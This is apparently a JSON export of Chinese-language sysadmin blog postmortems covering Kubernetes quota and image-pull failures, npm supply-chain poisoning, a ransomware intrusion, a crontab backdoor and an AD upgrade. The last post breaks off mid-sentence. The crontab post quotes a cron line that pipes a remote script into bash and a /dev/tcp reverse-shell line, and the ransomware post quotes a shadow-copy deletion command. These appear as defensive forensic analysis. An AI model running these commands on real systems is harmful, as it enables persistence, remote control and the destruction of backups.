排查所有仓库是否有同一间接依赖，批量清理并重新生成 SBOM。 当天加固： 搭建 Nexus/Verdaccio 私有代理，只允许白名单 scope 内的包从公网同步，构建机网络层面禁止直连 registry.npmjs.org。\n五、根因分析\r根因不在\u0026quot;某个具体包坏了\u0026quot;，而在对软件供应链的信任被无约束地放行：\nCI 节点直连公网 npm，npm install 允许间接依赖版本解析浮动，攻击者用高版本形近包抢走优先解析权； package-lock.json 未被强制锁定（合并冲突被草率\u0026quot;解决\u0026quot;、CI 用 npm install 而非 npm ci），失去\u0026quot;依赖指纹\u0026quot;这道防线； 缺少依赖完整性校验：没有 SBOM、没有 npm audit/签名校验，投毒包能悄无声息混进构建； 构建节点持有长期静态 token 且权限过大，一旦凭据在 install 阶段被读取即全面失守。 本质是：我们把\u0026quot;开源社区的可信\u0026quot;当成了\u0026quot;无需管控的可信\u0026quot;，在信任链上留了多个无人把守的口子。\n六、预防措施\r锁死依赖：CI 强制 npm ci（或 pnpm/yarn 的等价严格模式），禁止 npm install 浮动解析；package-lock.json 纳入 code review，合并冲突不得草率覆盖。 控来源：构建机经私有代理（Nexus/Verdaccio）拉包，开启允许列表（allowlist）+ 镜像同步；网络层禁止构建机直连公网 npm 源。 校验完整性：发布前生成 SBOM（CycloneDX），并启用 npm audit / osv-scanner / pip-audit 在 CI 阶段阻断高危依赖；对关键依赖启用 npm attestations / Sigstore 签名验证。 最小权限：构建节点的凭据用 OIDC 短时效令牌，禁止长期静态 token；CI token 仅授予\u0026quot;发布必要仓库\u0026quot;的最小 scope。 运行时监控：在构建产物目录部署文件完整性监控（FIM），对 HTML/JS 的异常外联引用、构建机异常出站连接即时告警；建立\u0026quot;源码 vs 产物\u0026quot;的差异比对基线。 七、总结\r这次事件里，攻击者没有攻破任何服务器，只是\u0026quot;借用开发者信任链\u0026quot;：用一个形近的高版本包，在每次 npm install 时堂而皇之地跑起 preinstall 脚本，顺手牵走 token、给产物埋雷。供应链投毒是典型的高杠杆、低成本攻击——你信任的，恰恰是它利用的。\n防御的核心就四句话：锁依赖（npm ci + 锁 lockfile）、控来源（私有代理 + 白名单）、校验完整性（SBOM + audit + 签名）、最小权限（短时效 token + 产物 FIM）。把公网包从\u0026quot;无条件信任\u0026quot;变成\u0026quot;受控、可审计的依赖\u0026quot;，这类\u0026quot;安装即中招\u0026quot;的事故就能从根上断掉。\n","date":"2026-07-19T07:00:00+08:00","permalink":"/posts/fd39f333/","title":"记一次 npm 开源依赖投毒导致 CI 构建产物被植入后门的排查"},{"content":"一、问题背景\r平台组在多租户的 Kubernetes 集群里给每个业务命名空间（Namespace）统一下发了 ResourceQuota，把 CPU、内存、Pod 数量等资源的\u0026quot;预算上限\u0026quot;钉死，用来做资源隔离和成本核算——谁超了谁自己负责。这套机制上线大半年一直相安无事，直到某天傍晚一次常规发布，线上突然冒出一批 Pending 状态的 Pod，发布流水线卡在\u0026quot;等待调度\u0026quot;迟迟不结束。\n当时这个命名空间跑着一个在线推理服务（白天 2 副本，晚高峰弹性扩到 6 副本）外加几个后台批处理 Job。我们第一反应是节点资源不够，但监控里节点 CPU/内存使用率明明还有富余。问题显然不在\u0026quot;机器没油\u0026quot;，而在\u0026quot;配额被卡了脖子\u0026quot;。\n二、故障现象\r故障最直观的表现是：新版本的 Deployment 滚动发布时，只有旧副本被逐批删掉，新副本却始终 Pending，kubectl get pods -n \u0026lt;ns\u0026gt; 看到状态长时间停在 ContainerCreating 之前、直接就是 Pending。\ndescribe 这些 Pending Pod，Events 区反复刷出一条：\n1 2 3 4 5 6 7 Warning FailedScheduling 0/20 nodes are available: 20 node(s) had untolerated taint ... (无关) pod \u0026#34;infer-svc-7d9c-\u0026#34; is forbidden: exceeded quota: compute-resources, requested: cpu=500m, memory=512Mi, used: cpu=7800m, memory=14Gi, limited: cpu=8, memory=16Gi 也就是说：调度器根本没走到\u0026quot;找节点\u0026quot;那一步，就在准入阶段被 ResourceQuota 的准入控制器（QuotaAdmission）直接拦下了——used 已经摸到 limited 的天花板，requested 再多一点点就超。\n更迷惑的是，同一时间还有两三个资源请求极小（yaml 里没写 resources.requests）的辅助 Pod 也卡在 Pending，看 describe 报的 requested: cpu=100m 这种微不足道的量，却同样 forbidden: exceeded quota。节点明明有空闲，配额数字也对不上\u0026quot;肉眼可见的用量\u0026quot;，现场一度让人怀疑是集群 bug。\n三、排查过程\r第一步，确认是不是真超配额。 直接看配额实况：\n1 2 kubectl get resourcequota -n \u0026lt;ns\u0026gt; -o yaml kubectl describe quota compute-resources -n \u0026lt;ns\u0026gt; 输出里 Status.Hard 是上限（cpu: 8 / memory: 16Gi / pods: 30），Status.Used 是已用（cpu: 7800m / memory: 14Gi / pods: 28）。CPU 已用 7.8 核逼近 8 核上限，新 Pod 再要 500m 必然超。这一步坐实了：不是节点不够，是命名空间配额见顶，调度器在准入阶段就拒了。\n第二步，搞清楚\u0026quot;谁把配额吃没了\u0026quot;。 列出该 ns 下所有 Pod 的 requests 累加：\n1 2 3 kubectl get pods -n \u0026lt;ns\u0026gt; -o custom-columns=\\ POD:.metadata.name,CPU_REQ:.spec.containers[0].resources.requests.cpu,\\ MEM_REQ:.spec.containers[0].resources.requests.memory 一眼看清：推理服务晚高峰扩到 6 副本，每副本 cpu: 1.5 / mem: 2Gi，单这一个服务就吃掉 9 核里的 7.8 核——正是把 CPU 配额顶满的元凶。副本数一涨，request 总量线性叠加，瞬间撞线。\n第三步，破解\u0026quot;小 Pod 也 Pending\u0026quot;的反常。 那几个没写 resources.requests 的辅助容器，为什么也要 100m？查该 ns 的 LimitRange：\n1 kubectl get limitrange -n \u0026lt;ns\u0026gt; -o yaml 里面有一条 defaultRequest: cpu: 100m, memory: 128Mi。关键点来了：当 Pod 不声明 requests 时，LimitRange 会自动注入默认 request；而 ResourceQuota 统计的是\u0026quot;实际生效的 request\u0026quot;（含被注入的默认值），不是 yaml 里写的。于是这些\u0026quot;看似零请求\u0026quot;的 Pod，每个悄悄占 100m，十几个叠起来又吃掉近 1.5 核，和推理服务的用量凑在一起，把本就不宽裕的配额彻底顶爆。节点有空闲毫无意义——quota 是先于节点调度的硬门槛。\n第四步，定位\u0026quot;为什么没人早发现\u0026quot;。 翻历史：配额是半年前一次性设的，之后业务多次扩容、加新服务，但没有任何 quota 使用率的监控和告警。团队下意识以为 ResourceQuota \u0026ldquo;只限制 limit、不限制 request\u0026rdquo;，于是不少 yaml 只写了 limits 没写 requests，结果 request 被 LimitRange 注入默认值的规则反噬，谁也说不清真实占用。\n四、解决方案\r止血（分钟级）：\n紧急把推理服务副本从 6 缩回 3（kubectl scale deploy infer-svc --replicas=3 -n \u0026lt;ns\u0026gt;），立刻释放约 4.5 核，Pending Pod 随之被调度起来，发布流水线恢复。 同步给真正重要的几个小服务显式补上合理的 requests（去掉对 LimitRange 默认值的依赖），让配额占用透明可控。 临时上调 ResourceQuota 天花板（kubectl edit resourcequota compute-resources -n \u0026lt;ns\u0026gt;，cpu 8→12），给当晚高峰留缓冲——这是临时措施，不是根治。 根治（周内）：\n给所有 Deployment 补全 resources.requests/limits，消除\u0026quot;裸 Pod 靠 LimitRange 兜底\u0026quot;的盲区。 把 LimitRange 的 defaultRequest 调小到与真实负载匹配，避免默认值虚高吃掉配额。 按\u0026quot;团队/环境\u0026quot;拆分命名空间，各自独立配额，不再多个团队挤一个 ns 共享预算。 五、根因分析\r根因是对 ResourceQuota 的计量口径理解错误 + 默认注入的隐性放大：\nResourceQuota 同时约束 requests 和 limits 的总量，而不仅仅限制 limit； LimitRange 对未声明资源的容器会注入 defaultRequest/defaultLimit，这些值计入 ResourceQuota 统计，等于\u0026quot;看不见的请求\u0026quot;也在吃预算； 多团队共用一个 namespace 的单一配额，缺乏隔离，任一服务扩容都会挤占他人额度； 完全缺失 quota 使用率监控，配额在\u0026quot;温水煮青蛙\u0026quot;中耗尽，直到发布失败才暴露。 一句话：调度失败的根因不在节点，而在命名空间级准入控制把资源预算卡死，且这个预算被\u0026quot;副本扩容 + 默认注入\u0026quot;两股力量悄悄吃满。\n六、预防措施\r配额隔离：按团队、按环境拆分命名空间，每个 ns 独立 ResourceQuota，互不挤占；重要业务单独配额。 LimitRange 收敛：把 defaultRequest/defaultLimit 设为贴近真实的小值，别让\u0026quot;默认值\u0026quot;变成隐性大户；同时用 default 与 max/min 约束单容器资源上下限。 强制声明资源：通过准入控制（如 Kyverno/Gatekeeper 策略）禁止无 requests/limits 的 Pod 入库，杜绝 LimitRange 兜底带来的不透明。 配额监控告警：用 Prometheus 采集 kube_resourcequota 系列指标，对 used/hard 超 80% 的命名空间提前告警，把\u0026quot;发布失败\u0026quot;前移成\u0026quot;容量预警\u0026quot;。 发布前 dry-run：CI 里用 kubectl apply --dry-run=server 配合配额校验，扩容类变更先评估 request 增量是否越线。 七、总结\r这次故障的教训是：Kubernetes 的资源约束是多层叠加的——ResourceQuota（命名空间预算）、LimitRange（默认值注入）、节点可分配资源（真实算力）各管一段，而调度失败往往出在最上游那道\u0026quot;配额门\u0026quot;上。节点有空闲只是必要条件，命名空间配额见顶照样让 Pod 永远 Pending。\n排查的核心动作就是三板斧：kubectl describe quota 看 used vs hard 是否顶满 → kubectl get pods 累加 requests 找\u0026quot;吃配额的大户\u0026quot; → kubectl get limitrange 确认是否有默认请求被隐性注入。把配额当预算管、加监控、拆隔离，就能让这类\u0026quot;发布到一半卡住\u0026quot;的事故从偶发变成可预警。\n","date":"2026-07-18T07:00:00+08:00","permalink":"/posts/fb3632b1/","title":"一次 Kubernetes 命名空间 ResourceQuota 配额耗尽导致 Pod 卡在 Pending 的排查记录"},{"content":"清除勒索软件：一次 Windows 文件服务器共享目录遭加密的入侵路径还原与恢复复盘\r一、问题背景\r公司核心文件服务器 FS01 是一台加入域的 Windows Server 2019，承载设计部与财务部共用的 SMB 共享目录，约 4 TB 资料，包含合同、图纸与月度结算表。该服务器原本只对内网开放 445 端口，但因一次临时远程运维需求，运维同事将 3389（RDP）通过边界防火墙映射到了公网并设置了弱口令，事后未及时回收。这台机器长期处于\u0026quot;能连就行\u0026quot;的灰色状态，直到某个周一早上被业务电话叫醒——共享目录里几乎所有文件都打不开了。\n二、故障现象\r周一 08:20，多名同事反馈无法打开共享文件，双击文档提示\u0026quot;文件已损坏\u0026quot;或\u0026quot;拒绝访问\u0026quot;。登录服务器后发现：\n大量文件的扩展名被改写为 .locked（如 合同2026.docx.locked），共计约 3.7 TB 文件受影响； 每个目录下都多出一个 README_RESTORE.txt，内容是勒索信，要求以比特币支付赎金换取解密密钥； 系统的卷影副本（Shadow Copy）被清空——vssadmin list shadows 返回\u0026quot;没有卷影副本\u0026quot;，说明攻击者删除了备份快照； 服务器 CPU 与磁盘 IO 在凌晨 02:00-03:10 出现一段异常的持续高位，之后恢复正常； 部分用户报告登录域账号时偶发缓慢，但并未报错。 初步判断：这是一次典型的勒索软件（Ransomware）加密事件，且攻击者已经拿到服务器的较高权限并清除了本地恢复点。\n三、排查过程\r1. 止血与隔离。 第一动作不是解密，而是隔离。立即在交换机上把 FS01 的端口 shutdown，断开其所有网络访问，避免加密进程横向扩散到其他主机或继续加密。同时保留内存现场（不重启，便于后续取证）。\n2. 定位加密进程。 既然攻击发生在凌晨且已经结束，现场进程里大概率看不到加密程序。转而从 Windows 事件日志与文件系统时间线入手：用 wevtutil 导出 Microsoft-Windows-PowerShell/Operational 与 System 日志，发现凌晨 02:05 有一条可疑的 powershell.exe -enc \u0026lt;Base64\u0026gt; 执行记录；vssadmin delete shadows /all /quiet 的调用时间与此吻合。结合文件 MFT 修改时间，最早一批被加密的文件集中在 02:07，逐目录向外扩散，符合单进程遍历加密的特征。\n3. 还原初始入侵入口。 勒索软件本身不是入口，它只是\u0026quot;载荷\u0026quot;。真正的入口要从认证日志找。筛选 Security 日志事件 ID 4625（登录失败），统计发现 07-15 深夜起出现来自同一境外 IP 的高频失败记录，峰值每分钟 40+ 次，持续约 90 分钟，随后出现一条 4624（登录成功）——这正是公网映射出去的 RDP 弱口令被暴力破解。该成功会话的账户为 admin_local，随后以此为跳板，通过 net use 挂载其他共享、并启用 RDP 端口转发做横向移动。\n4. 确认横向范围。 用域控上的登录日志（4624 + 4768 Kerberos TGT 请求）反查 admin_local 这个账号在失陷窗口内的所有登录主机，确认其仅触达 FS01 与一台跳板机，尚未拿到域管权限，未对域控本身造成破坏——这是不幸中的万幸。\n5. 样本与 IOC 提取。 从 C:\\Windows\\Temp\\ 与回收站残留中找到了加密母体（一个伪装成 svchost.exe 的二进制）和其释放的批量脚本，计算哈希并上传到威胁情报平台比对，确认为某已知勒索家族的变种，IOC（C2 域名、互斥量名）被登记进防火墙封禁列表。\n四、解决方案\r1. 数据恢复（不付赎金）。 由于卷影被删、无有效本地备份，最终恢复依赖两点：一是磁带/异地备份——庆幸财务部每周日的全量备份在隔离前已完成且未被加密，从备份恢复到干净环境；二是对少数无备份的目录，尝试用文件恢复工具扫描磁盘未覆盖扇区，挽回了约 60% 的最近修改文件。\n2. 清除载荷。 在断网单机环境下，删除 C:\\Windows\\Temp 下的母体与启动项（检查 HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run 与任务计划程序里新增的恶意条目），用杀毒软件全盘扫描确认无残留。\n3. 回收公网暴露面。 立即在防火墙上删除 3389 的公网映射，RDP 仅允许从堡垒机网段访问；为 admin_local 设置强口令并加入账户锁定策略（5 次失败锁定 30 分钟）。\n4. 重建与加固。 FS01 从干净镜像重装系统、重新加域，共享权限按\u0026quot;最小权限\u0026quot;重新划分，并开启文件服务器审计（对象访问审计策略），对关键目录的改名/删除做日志留存。\n五、根因分析\r这次事件的根因不是\u0026quot;勒索软件太强\u0026quot;，而是暴露面管理失职 + 凭据薄弱 + 恢复点缺失的叠加：\n公网 RDP 映射配了弱口令且长期未回收，给攻击者敞开了第一道门； 服务器没有启用网络级身份验证（NLA）强制与多因素认证（MFA），暴力破解成本低； 备份只在本机卷影与同网段存储，加密者一句话就能清空，缺乏异地/离线副本，导致几乎无险可守； 缺乏对外暴露服务的资产台账与定期回收机制，临时开口变成永久后门。 六、预防措施\r收敛暴露面：公网只放必要服务，RDP/SSH 一律走堡垒机或 VPN，禁止直接映射；建立\u0026quot;临时开口登记 + 到期自动提醒回收\u0026quot;流程。 强化认证：所有对外远程入口强制 MFA，启用账户锁定与登录失败告警；禁用弱口令，定期用密码审计工具扫描。 备份三二一：至少一份离线/异地备份，且定期做恢复演练验证可用性；关键系统开启不可变备份（immutable backup）或对象存储版本锁，让勒索软件删不掉。 监控与告警：对 4625 暴破、vssadmin 调用、非常规时段大量文件改名等异常行为配置 SIEM 告警；终端部署 EDR 实现进程级行为检测。 最小权限与分段：共享目录按角色授权，服务器网段与普通办公网隔离，限制失陷后的横向移动半径。 七、总结\r勒索软件不是天灾，而是运维疏忽的放大器。本次事件里，攻击者真正利用的只是一个被遗忘的公网弱口令 RDP，而真正的代价来自没有离线备份与暴露面失控。排查的关键节奏是\u0026quot;先隔离止血、再还原入口、最后谈恢复\u0026quot;——永远不要急于解密而放跑现场。对运维来说，最便宜的安全投入是关掉不该开的端口和留一份删不掉的备份。\n","date":"2026-07-17T07:00:00+08:00","permalink":"/posts/45ad24c7/","title":"清除勒索软件：一次 Windows 文件服务器共享目录遭加密的入侵路径还原与恢复复盘"},{"content":"一、问题背景\r我们生产集群跑在 Kubernetes 1.24 上，所有业务镜像都存放在自建的 Harbor 私有镜像仓库。集群通过 imagePullSecret（docker-registry 类型的 Secret）向 Harbor 做认证拉取镜像。某天上午一次常规的版本发布，滚动更新（RollingUpdate）刚触发不久，发布平台就报\u0026quot;就绪实例数不足\u0026quot;，监控里该服务的 5xx 错误率开始抬头。最初以为是新版本代码有问题，直到发现大量新 Pod 根本没起来——它们卡在了镜像拉取阶段，整条发布被堵死。\n二、故障现象\rkubectl get pods -n order 的输出里，本次发布的 Pod 几乎集体处于 ErrImagePull / ImagePullBackOff 状态，旧版本的 Pod 已经有一部分被滚动更新策略 terminate 掉，导致可用副本数骤降。服务网关侧直接体现为部分请求 5xx，发布流水线卡住无法继续。\ndescribe 某个卡住的 Pod，Events 末尾赫然写着：\n1 2 3 Failed to pull image \u0026#34;harbor.internal.com/order/order-svc:1.8.2\u0026#34;: rpc error: code = Unknown desc = failed to pull and unpack image ... unauthorized: authentication required 节点层面用 crictl ps -a 能看到这些 Pod 的 sandbox 一直起不来，对应容器停留 ContainerCreating。登录其中一个工作节点手动执行 crictl pull harbor.internal.com/order/order-svc:1.8.2，同样返回 unauthorized: authentication required——镜像本身拉不下来，和代码无关。\n三、排查过程\r第一步，确认镜像是否真的存在。我们直接到 Harbor 的 Web 控制台搜索 order-svc:1.8.2，镜像明明白白躺在项目里，说明不是\u0026quot;镜像没推上来\u0026quot;或 tag 拼错。这说明问题出在\u0026quot;拉取\u0026quot;环节，而不是\u0026quot;构建/推送\u0026quot;环节。\n第二步，看拉取失败的具体原因。unauthorized: authentication required 已经把范围收窄到\u0026quot;认证\u0026quot;。既然是私有仓库，Kubernetes 一定是通过某个 imagePullSecret 去认证的。先确认 Pod 关联的 Secret 在不在：\n1 2 kubectl get secret regcred -n order kubectl get pod \u0026lt;pod\u0026gt; -o jsonpath=\u0026#39;{.spec.imagePullSecrets[*].name}\u0026#39; Secret 存在，名字也对得上。那就要怀疑 Secret 里的凭证本身是不是还有效。\n第三步，把 Secret 内容解码出来看。docker-registry 类型的 Secret 把 ~/.docker/config.json 做了 base64 编码存在 .dockerconfigjson 字段里：\n1 kubectl get secret regcred -n order -o jsonpath=\u0026#39;{.data.\\.dockerconfigjson}\u0026#39; | base64 -d 解码后看到里面的 auth 是一串看起来正常的 base64（username:password）。为了验证它是否真的能用，我在一台能通 Harbor 的机器上把它解出来，构造 ~/.docker/config.json 后执行 docker pull harbor.internal.com/order/order-svc:1.8.2——结果依旧 unauthorized。\n第四步，去 Harbor 侧核实账号状态。我们 regcred 用的是 Harbor 的一个 robot account（机器人账号）。查 Harbor 后台发现：一个月前运维做了一次账号体系加固，给 robot account 的 token 加上了有效期策略，而这个 token 恰好在这两天到期。Secret 是当初手工 kubectl create secret docker-registry 写进去的，是个静态凭据，仓库侧把 token 一过期，K8s 这边的 Secret 完全不知道，依旧拿着失效的 token 去拉镜像，于是全量 unauthorized。\n第五步，反查为什么之前没暴露。原来老版本镜像 :1.8.1 早就被各节点的 containerd 缓存过，旧 Pod 用缓存镜像根本不触发重新拉取；这次发 :1.8.2 是新 tag，节点没有缓存，必须走一次真实鉴权，失效凭证才第一次\u0026quot;现原形\u0026quot;。这也解释了为什么故障\u0026quot;恰好\u0026quot;在发布新版本时爆发。\n四、解决方案\r止血和恢复很快，三步搞定：\n重建有效的 Secret。用更新后的 robot account 凭证重新生成： 1 2 3 4 5 kubectl create secret docker-registry regcred \\ --docker-server=harbor.internal.com \\ --docker-username=robot\\$order \\ --docker-password=\u0026lt;NEW_TOKEN\u0026gt; \\ -n order --dry-run=client -o yaml | kubectl apply -f - 让 Pod 用上新凭证。Secret 改完，但已经卡住的 Pod 不会自动重试用新 Secret。直接删掉处于 ImagePullBackOff 的 Pod，由 ReplicaSet / Deployment 控制器重建；新 Pod 挂载到更新后的 ServiceAccount imagePullSecrets，拉取成功，滚动更新继续推进。\n确认发布完成。等所有新版本 Pod 进入 Running 且就绪，5xx 回落，发布流水线跑通。\n注意：如果集群用 Rancher / Argo CD 之类管理 Secret，要在对应平台同步更新，避免被覆盖回旧值。\n五、根因分析\r表面是\u0026quot;镜像拉取失败\u0026quot;，根因是 imagePullSecret 是个静态、无生命周期的凭据，它的有效期完全独立于镜像仓库的账号体系。仓库侧做了 robot token 有效期策略，K8s 侧却没有任何机制感知和同步刷新；再加上节点镜像缓存\u0026quot;帮\u0026quot;老版本掩盖了问题，失效凭证一直没被触发，直到一次全新 tag 的发布才暴露。这属于典型的\u0026quot;凭据漂移 + 缺乏凭证有效期监控\u0026quot;类故障。\n六、预防措施\r集中管理 Secret，杜绝手工漂移：用 external-secrets-operator 或 sealed-secrets 把 imagePullSecret 纳入统一密钥管理，由 CI/CD 统一定期刷新，不再手工 kubectl create secret。 robot account 也要纳入轮换与告警：即便用机器人账号，也应监控其 token 过期时间，临期自动告警或自动轮换。 发布流水线加\u0026quot;镜像可拉取\u0026quot;预检：部署前先在目标命名空间用一个 test Pod 拉一次镜像（kubectl run drypull --image=... --restart=Never），拉取失败就阻断发布，把问题卡在流水线里而不是生产环境。 对 ErrImagePull 做指标告警：用 kube-state-metrics + 容器运行时的 ErrImagePull / ImagePullBackOff 事件配置告警，故障一发生就通知到人。 镜像引用尽量用不可变 tag 或 digest，避免 :latest 这类可覆盖 tag 带来的版本错乱。 七、总结\rImagePullBackOff 看起来吓人，但 unauthorized: authentication required 这条线索已经把问题钉死在\u0026quot;认证\u0026quot;上。真正的坑不在 Kubernetes，而在\u0026quot;静态 imagePullSecret 与镜像仓库账号体系脱节\u0026quot;——仓库悄悄轮换了凭证，K8s 还在用旧 token。这次借节点镜像缓存的\u0026quot;掩护\u0026quot;潜伏了很久，直到一次新 tag 发布才爆发。把 imagePullSecret 纳入自动化的密钥管理 + 发布前拉取预检，能从根上消除这类\u0026quot;凭据漂移\u0026quot;型故障。\n","date":"2026-07-16T00:00:00Z","permalink":"/posts/cd2f7270/","title":"K8s 私有镜像仓库凭证过期，Pod 为何卡在 ImagePullBackOff？一次生产镜像拉取失败的排查记录"},{"content":"一、问题背景\r一台跑内部业务接口的后端服务器（CentOS 7，双核 4G，对内有 Nginx + PHP-FPM，对外仅开放 80/443），平时 CPU 长期在 5% 以下、几乎无主动出网流量。某天早上安全运营中心（SOC）告警：该主机在凌晨到上午频繁向一个陌生境外 IP 的 443 端口发起连接，且主机监控出现每隔几分钟一次的 CPU 小尖峰。由于该服务器按规范不应主动访问任何外部地址，这条告警立即被升级为疑似失陷（compromise）事件，由我介入排查。\n二、故障现象\r现场最明显的异常有三点：\n周期性出网：在主机上用 ss -antp 多次采样，每隔约 3 分钟就会出现一条到 45.x.x.x:443 的 ESTABLISHED 连接，几十秒后断开；该 IP 不在任何白名单内，也不属于 CDN 或上游依赖。 CPU 抖动：top 里能看到一个生命周期极短的进程（多半是 curl/wget/bash）把单核短暂拉到 60%~90%，随即消失，像是被某调度器周期性唤起。平时毫无业务的高峰低谷符合这种\u0026quot;定时唤醒\u0026quot;特征。 进程捉迷藏：top、htop 里看不到常驻的可疑进程，也没有新增的系统服务；但出网连接确实在发生，说明恶意负载要么极短命，要么藏在依赖调度的机制里。 第一反应是查是否有常驻木马（类似前阵子清掉的 XMRig 挖矿），但 ps aux 全量拉取也只看到正常的 Nginx、PHP-FPM 与 crond，方向一度被带偏。\n三、排查过程\r第 1 步：锁定出网连接与源头进程。 用 ss -antp | grep -E '45\\.' 抓到连接后，记下其 pid，但发现 pid 每次都不同且迅速退出。改用 pidstat -t 1 持续观察，确认有一个进程在固定节律（每 3 分钟）被拉起，父进程是 crond 派生的 sh -c。这就把怀疑对象从\u0026quot;常驻服务\u0026quot;直接指向了计划任务。\n第 2 步：翻遍所有 cron 落点。 攻击者为提高隐蔽性常不只写用户 crontab，于是我把四处都查了一遍：\ncrontab -l -u www 与 crontab -l -u root（以及其它业务账号）； /etc/crontab； /etc/cron.d/ 下所有片段； /var/spool/cron/ 原始文件。 在 /var/spool/cron/www 里发现一条可疑条目：\n1 */3 * * * * curl -fsSL http://45.x.x.x/x/load.sh | bash \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 把这一段注释掉后再观察，周期性出网与 CPU 抖动同时消失，因果关系坐实。\n第 3 步：还原 payload 行为。 在隔离环境里下载 load.sh 分析，它做了几件事：① 从 C2 拉取第二阶段脚本并 base64 内联，避免落地文件被扫；② 写入 ~/.bashrc 与 /etc/rc.local 做开机自启兜底；③ 尝试用 bash -i \u0026gt;\u0026amp; /dev/tcp/45.x.x.x/9999 0\u0026gt;\u0026amp;1 建立反弹 shell；④ 顺手检查是否有 redis-server/mysql 弱口令可横向。整个过程不写明显进程名、不占端口常驻，正是典型的\u0026quot;低噪声持久化\u0026quot;。\n第 4 步：排查其它落脚点。 既然已经拿到 www 账号执行权，必须假设攻击者还留了后手：检查 /etc/passwd 是否有新增账号、authorized_keys 是否被追加公钥、是否有新的 systemd timer、以及 web 目录里是否混入了 webshell。本轮只发现 cron 这一条主线，但 bashrc/rc.local 的写入提示初始入侵点需要进一步回溯（见根因）。\n四、解决方案\r止血与清剿按\u0026quot;先断链、再清除、后加固\u0026quot;的顺序执行：\n断链：在边界防火墙与主机 iptables 双重封禁 45.x.x.x 的入向/出向，先掐掉 C2 通信，防止反弹 shell 与二次投递。 清除：crontab -r -u www 删除恶意任务，删除 load.sh 及 /tmp 下衍生文件，还原被改写的 ~/.bashrc 与 /etc/rc.local。 kill 残余：pkill -f load.sh、结束处于 bash -i 反弹态的进程，确认 ss 不再出现外联。 收口凭证：因 www 账号曾被执行权限，轮换该账号及同机相关服务的密码/密钥；核查是否有凭据被打包外传（重点关注 ~/.ssh、/etc/shadow 最近修改时间）。 复核持久化：确认无新增系统账号、authorized_keys 无陌生公钥、无异常 systemd timer 后才视为清剿完成。若评估初始入侵面（如存在 RCE 漏洞的Web应用）难以彻底确认干净，按失陷标准直接重装该主机更稳妥——本次因入侵链清晰、改动有限，采用清除+重建可疑组件方式。 五、根因分析\r真正的问题不是 cron 本身，而是初始入侵点 + 持久化手法的组合：www 账号或其所托管的 Web 应用存在弱口令/旧漏洞，攻击者借此拿到命令执行权后，没有追求显眼的常驻木马，而是选择 crontab 这种\u0026quot;系统正常组件\u0026quot;做持久化——它不需要新开端口、不新增服务名、日志里只是普通的 cron 执行记录，检测难度远高于 XMRig 这类高 CPU 常驻进程。换言之，cron 后门是用\u0026quot;合法调度框架\u0026quot;打掩护，把检测成本转嫁给了运维。\n六、预防措施\r针对此类低噪声持久化，单靠\u0026quot;看 top\u0026quot;已经不够，需要从检测与基线两端下手：\n监控 cron 变更：用 auditd 对 /etc/cron*、/var/spool/cron/ 加规则（-w /etc/cron.d -p wa -k cron_change），任何改动进审计日志并告警。 出网白名单：服务器默认拒绝所有主动出网，仅放行 Proxy/更新源等少数地址，cron 拉取外网脚本会立即被拦，从根上废掉投递链。 文件完整性监控（FIM）：部署 AIDE/Tripwire 或 HIDS（Wazuh/osquery），对 crontab、bashrc、rc.local 做哈希基线，偏差即告警。 异常血缘检测：用 osquery 之类持续比对\u0026quot;父进程=crond 却派生出 curl/wget/bash 外联\u0026quot;的异常血缘关系，这是识别 cron 后门最有效的规则之一。 最小权限与基线：业务账号禁 crontab、禁出网、禁写 bashrc；定期跑 CIS Benchmark 与弱口令扫描，把初始入侵面压到最低。 七、总结\r这次事件的本质，是攻击者用 crontab 这个\u0026quot;系统自带的合法调度器\u0026quot;做持久化，规避了常驻进程的显眼特征，单看 CPU 和进程表很容易误判为偶发抖动。排查的关键转折在于：周期出网 + 短命进程 + 父进程是 crond，三者指向计划任务而非服务；顺藤摸到 /var/spool/cron/ 的恶意条目后，问题迎刃而解。对运维来说，与其事后肉眼翻 cron，不如把 cron 变更、出网白名单、异常进程血缘做成常态化检测——让后门在\u0026quot;被调度起来\u0026quot;的那一刻就被抓住。\n","date":"2026-07-15T00:00:00Z","permalink":"/posts/1de17e40/","title":"记一次 Linux 服务器周期性外联与 CPU 抖动：crontab 恶意定时任务后门排查"},{"content":"问题背景\r公司 AD 域环境由两台 Windows Server 2012 R2 域控承载（DC01 为主、DC02 为辅），域中约 1500 个用户账号，下游挂着组策略（GPO）、文件服务器鉴权、Exchange 邮件、基于 802.1x 的 WiFi 认证（NPS 依赖域控）以及多个内部业务系统的 LDAP 登录。2012 R2 已临近停止支持，我们计划在变更窗口内把域控升级到 Windows Server 2022，采用业界标准的「加新域控 → 迁移 FSMO → 降级旧域控」路线。原本以为只是常规的加机器、传角色、退旧机，没想到第一步就踩进了 SYSVOL 复制引擎的兼容性深坑，还因为一次仓促的 FSMO seize 差点酿成 USN 回滚事故。\n故障现象\r新装一台 Windows Server 2022 并提升为域控 DC03 后，问题接踵而至：\nrepadmin /showrepl 持续报 SYSVOL 相关复制失败；dcdiag 提示 The DFS Replication service is not running 或 SYSVOL 未处于共享状态。 组策略大面积失效：部分 PC 的 GPO 版本停留在旧值，新上线的密码策略、软件分发、登录脚本都没推下去；个别旧域控重启后卡在「Applying Group Policy」很久，用户登录极慢。 更危险的一幕：现场同事在 DC03 上手动执行了 netdom /seize 试图抢夺 FSMO，结果 Schema、Naming、RID、PDC、Infrastructure 角色在两台 DC 上的「归属视角」出现不一致，dcdiag 报 FSMO Role Owner 异常，日志里出现 InvocationID 改变但 USN 未正确重置的征兆——典型的 USN 回滚风险信号。 部分 WiFi 用户认证失败（NPS 回源域控取不到最新信息），偶发无法联网；内部一个依赖 LDAP 登录的工单系统间歇性报错。 排查过程\r定位复制失败对象：先跑 repadmin /showrepl，确认失败的是跨 DC 的 SYSVOL 复制而非普通目录分区。再用 dfsrmig /getmigrationstate 查看 SYSVOL 复制引擎状态，结果直接显示 Start——意味着整个林从未把 SYSVOL 从 FRS 迁移到 DFSR。2012 R2 默认仍允许 FRS SYSVOL，而 Windows Server 2022 域控只支持 DFSR SYSVOL，旧的 FRS 复制链路在新旧混合时直接断裂。\n确认 FRS 残留：在旧 DC 上 net share 查看，SYSVOL 仍由 File Replication Service（NtFrs）托管；注册表 HKLM\\SYSTEM\\CurrentControlSet\\Services\\Netlogon\\Parameters\\SysVol 也未切到 DFSR。这就解释了为什么新 DC 死活拉不到 SYSVOL 的组策略模板（GPT）。\n排查 FSMO 分裂：用 netdom query fsmo 看各 DC 视角的角色持有者，再用 repadmin /showattr \u0026quot;\u0026lt;DC\u0026gt;\u0026quot; 